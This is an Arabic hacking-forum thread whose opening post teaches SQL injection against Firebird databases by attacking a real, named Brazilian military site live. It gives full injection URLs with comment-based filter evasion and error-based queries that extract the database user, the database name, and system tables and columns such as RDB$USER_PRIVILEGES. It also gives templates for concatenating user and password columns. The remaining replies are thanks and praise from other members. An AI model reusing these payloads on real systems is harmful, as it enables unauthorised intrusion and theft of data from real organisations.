الوسوم:
حالة الموضوع:
مغلق
  1. AsSad HOmS

    AsSad HOmS V • I • P

    الأنتساب:
    ‏15 مارس 2014
    المشاركات:
    39
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:
    8
    المخالفات
    3
    بسم الله الرحمن الرحيم




    اليوم معنا شرح لحقن قواعد البيانات (( firebirf)) في البداية لابد من نتعرف على هذه القواعد ""
    =============================
    Firebird قاعدة بياناتSQL وهي الجيل الجديد من interbase 6.0 التي تاتي مرفقة مع الدلفي ولكن ما يميزها :
    - أنها مجانية ومفتوحة المصدر
    - تأخذ ملف واحد فقط امتداه fdb وتستطيع تغيير الامتداد .
    - ضخامة البيانات كـ MS-SQL Server
    - تستخدم نمط معايير SQL-92 في التخاطب معها
    - تدعم Transactions و Record Version و Stored Procedures و Triggers
    - تستطيع صنع تعليمات Udf إضافية بنفسك بواسطة الدلفي .
    - دعمها من قبل بورلاند بواسطة أدوات IBX المتوفرة مع الدلفي .
    - تعمل على نظامي Linux, Windows .
    ===================================
    قبل البدء بالحقن خلينا نميز بين sql / friedird
    اسم الجدول في sql :table_name
    بينما في قواعد friedird : rdb$relation_name


    ==================================
    اسم العمود في sql : column_name


    بينما في قواعد friedird : rdb$field_name


    ----------------------------------------------
    معنا هادا الموقع خلينا نجرب نحقن هل الموقع ؟


    كود:
    http://www.hca.aer.mil.br
    

    الأصابة هنا


    كود:
    http://www.hca.aer.mil.br/externo/index.php?pag=noticias/exibir_noticias.php?id=362

    خلينا نشوف ونضع علامة (') نشوف اذا مصاب و لأ


    [​IMG]


    أوك مصاب


    كود:
    Warning: ibase_query() [function.ibase-query]: Dynamic SQL Error SQL error code = -104 as approximate floating-point values in SQL dialect 1, but as 64-bit in E:\HCA\noticias\exibir_noticias.php on line 15
    
    
    Warning: ibase_fetch_row(): supplied argument is not a valid Firebird/InterBase result resource in E:\HCA\noticias\exibir_noticias.php on line 29

    ===================================
    خلينا نستخرج اليوز ((user))


    كود:
    +and+1=user

    كود:
    http://www.hca.aer.mil.br/externo/index.php?pag=noticias/exibir_noticias.php?id=362+and+1=user#
    

    كود:
    Warning: include(http://localhost/noticias/exibir_noticias.php?id=362 and 1=user) [function.include]: failed to open stream: HTTP request failed! HTTP/1.1 400 Bad Request in E:\HCA\externo\index.php on line 239
    
    
    Warning: include() [function.include]: Failed opening 'http://localhost/noticias/exibir_noticias.php?id=362 and 1=user' for inclusion (include_path='.;C:\php5\pear') in E:\HCA\externo\index.php on line 239

    [​IMG]


    ماتغير شي معنا لازم نفلتر الأوامر /**/


    كود:
    http://www.hca.aer.mil.br/externo/index.php?pag=noticias/exibir_noticias.php?id=362/**/and/**/1=user#
    

    [​IMG]


    تمام اليوزر ((User: CNWR))


    ================================


    نستخرج Database


    كود:
    +and+1=(select+first+1+rdb$relation_name+from+rdb$relations+where+rdb$system_flag=0)--
    

    كود:
    http://www.hca.aer.mil.br/externo/index.php?pag=noticias/exibir_noticias.php?id=362/**/and/**/1=(select/**/first/**/1/**/rdb$relation_name/**/from/**/rdb$relations/**/where/**/rdb$system_flag=0)--#
    

    [​IMG]


    الداتا ((Database: CNW_NOTICIAS))


    =====================================
    خلينا نسخترج الجدوال والأعمدة


    أمر استخراج الجدوال


    كود:
    +and+1=select+first+1+skip+0+distinct+cast(rdb$relation_name+as+integer)+from+rdb$relations+where+rdb$system_flag=0)--
    

    كود:
    http://www.hca.aer.mil.br/externo/index.php?pag=noticias/exibir_noticias.php?id=362/**/and/**/1=(select/**/first/**/1/**/skip/**/0/**/distinct/**/rdb$relation_name/**/from/**/rdb$relation_fields)#
    

    اسم الجدوال :((CNW_NOTICIAS))


    [​IMG]


    الجدول رقم 2


    كود:
    http://www.hca.aer.mil.br/externo/index.php?pag=noticias/exibir_noticias.php?id=362/**/and/**/1=(select/**/first/**/1/**/skip/**/1/**/distinct/**/rdb$relation_name/**/from/**/rdb$relation_fields)#
    

    [​IMG]


    الجدول رقم :RDB$CHARACTER_SETS


    الجدول رقم 3


    كود:
    http://www.hca.aer.mil.br/externo/index.php?pag=noticias/exibir_noticias.php?id=362/**/and/**/1=(select/**/first/**/1/**/skip/**/2/**/distinct/**/rdb$relation_name/**/from/**/rdb$relation_fields)#
    

    RDB$CHECK_CONSTRAINTS


    متل ملاحظين في شي عم يتغير بين حقنة والتاني في استخراج الجدوال هوي عم نضيف رقم بلشنا من الصفر هون ((skip/**/0/**/distinct/)) منضيف أرقام حتى يطلع معنا جدول اليوزر


    كود:
    http://www.hca.aer.mil.br/externo/index.php?pag=noticias/exibir_noticias.php?id=362/**/and/**/1=(select/**/first/**/1/**/skip/**/31/**/distinct/**/rdb$relation_name/**/from/**/rdb$relation_fields)#
    

    جدول اليوزر RDB$USER_PRIVILEGES


    [​IMG]
    =========================================
    استخراج الأعمدة


    الامر


    كود:
    +and+1=(select+first+1+skip+0+distinct+rdb$field_name+from+rdb$relation_fields+where+rdb$relation_name=(select+first+1+skip+0+distinct+rdb$relation_name+from+rdb$relation_fields))--

    كود:
    http://www.hca.aer.mil.br/externo/index.php?pag=noticias/exibir_noticias.php?id=362/**/and/**/1=%28select/**/first/**/1/**/skip/**/0/**/rdb$field_name/**/from/**/rdb$relation_fields/**/where/**/rdb$relation_name=%28select/**/first/**/1/**/skip/**/31/**/distinct/**/rdb$relation_name/**/from/**/rdb$relation_fields%29%29--#
    

    [​IMG]


    عامود اليوزر RDB$USER


    كذا نفس الامر للانتقال للعامود التالي بالتخطي اضافة رقم skip/**/0/


    راح نستخرج معلومات العامود


    كود:
    +and+1=(select+first+1+skip+0+column+from+table)
    

    هادا الامر لاستخراج عامودين مع بعض متل اليوزر الباس


    كود:
    +and+1=(select+first+1+skip+0+column1||column2+from+table)
    

    كود:
    www.hca.aer.mil.br/externo/index.php?pag=noticias/exibir_noticias.php?id=362/**/and/**/1=(select/**/first/**/1/**/skip/**/0/**/RDB$USER/**/from/**/RDB$USER_PRIVILEGES)#
    

    [​IMG]
     
    1 person likes this.
  2. Ameer Eagle

    Ameer Eagle V • I • P

    الأنتساب:
    ‏7 يونيو 2014
    المشاركات:
    3,233
    الإعجابات المتلقاة:
    2,779
    نقاط الجائزة:
    113
    الجنس:
    ذكر
    الوظيفة:
    Student
    الإقامة:
    IraQ
    رد: حقن قواعد Basic Firebirds

    عاشت الايادي ابو جاسم
    i:q^:
     
  3. м̨я.ǚs̲ǝя

    м̨я.ǚs̲ǝя <div style="border-right: 5px solid; padding: 2px ExpErt DeveloPer

    الأنتساب:
    ‏16 ابريل 2014
    المشاركات:
    437
    الإعجابات المتلقاة:
    13
    نقاط الجائزة:
    18
    الإقامة:
    ★ الكردستان ★
    رد: حقن قواعد Basic Firebirds

    جزك الله‌ خیر
     
  4. Jeo Sawager

    Jeo Sawager Developer

    الأنتساب:
    ‏15 أكتوبر 2014
    المشاركات:
    148
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    18
    رد: حقن قواعد Basic Firebirds

    بآرك آلله بيك شرح وآضح جدآ ,
    ماذا تعتقد في مشاركة AsSad HOmS؟يعجبني ويستحق التقييم
    :{1!}:
     
  5. (( السفاح ))

    (( السفاح )) سيد الساحة V • I • P

    الأنتساب:
    ‏11 يوليو 2014
    المشاركات:
    2,531
    الإعجابات المتلقاة:
    2,526
    نقاط الجائزة:
    113
    الجنس:
    ذكر
    رد: حقن قواعد Basic Firebirds

    بارك الله بك ياطيب شرح واضح وسلس واصل مجهودك المميز
     
  6. Dr.Attack

    Dr.Attack Developer

    الأنتساب:
    ‏3 أغسطس 2012
    المشاركات:
    71
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    8
    الإقامة:
    هنآآآآآ
    رد: حقن قواعد Basic Firebirds

    شكرا لك على مجهودك الجبار
    موفق اخي
     
  7. No-Security

    No-Security <span style="font-weight: bold; text-shadow: #BBBB DeveloPer Plus

    الأنتساب:
    ‏16 أكتوبر 2014
    المشاركات:
    177
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:
    18
    رد: حقن قواعد Basic Firebirds

    شكرا لك على الطريح الجميل يا رائع
     
  8. AsSad HOmS

    AsSad HOmS V • I • P

    الأنتساب:
    ‏15 مارس 2014
    المشاركات:
    39
    الإعجابات المتلقاة:
    5
    نقاط الجائزة:
    8
    المخالفات
    3
    رد: حقن قواعد Basic Firebirds

    منورين شباب هدا ولا شي انتظروا البرايفيت
     
  9. South Hack

    South Hack أبو حسين DeveloPer Plus

    الأنتساب:
    ‏15 نوفمبر 2014
    المشاركات:
    356
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    18
    الإقامة:
    الــعراق
    رد: حقن قواعد Basic Firebirds

    استمر وفيد اعضاء تيم العراق

    تقبل مروري :!."
     
  10. عہلي الصہقہور هنہا

    عہلي الصہقہور هنہا <span style="font-weight: bold; text-shadow: #BBBB V • I • P

    الأنتساب:
    ‏29 نوفمبر 2014
    المشاركات:
    283
    الإعجابات المتلقاة:
    6
    نقاط الجائزة:
    18
    الإقامة:
    ألعراق ألعظيم
    رد: حقن قواعد Basic Firebirds

    [new]
    عاشت ايدك اخي الغالي موضوع رائع
    [/new]
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة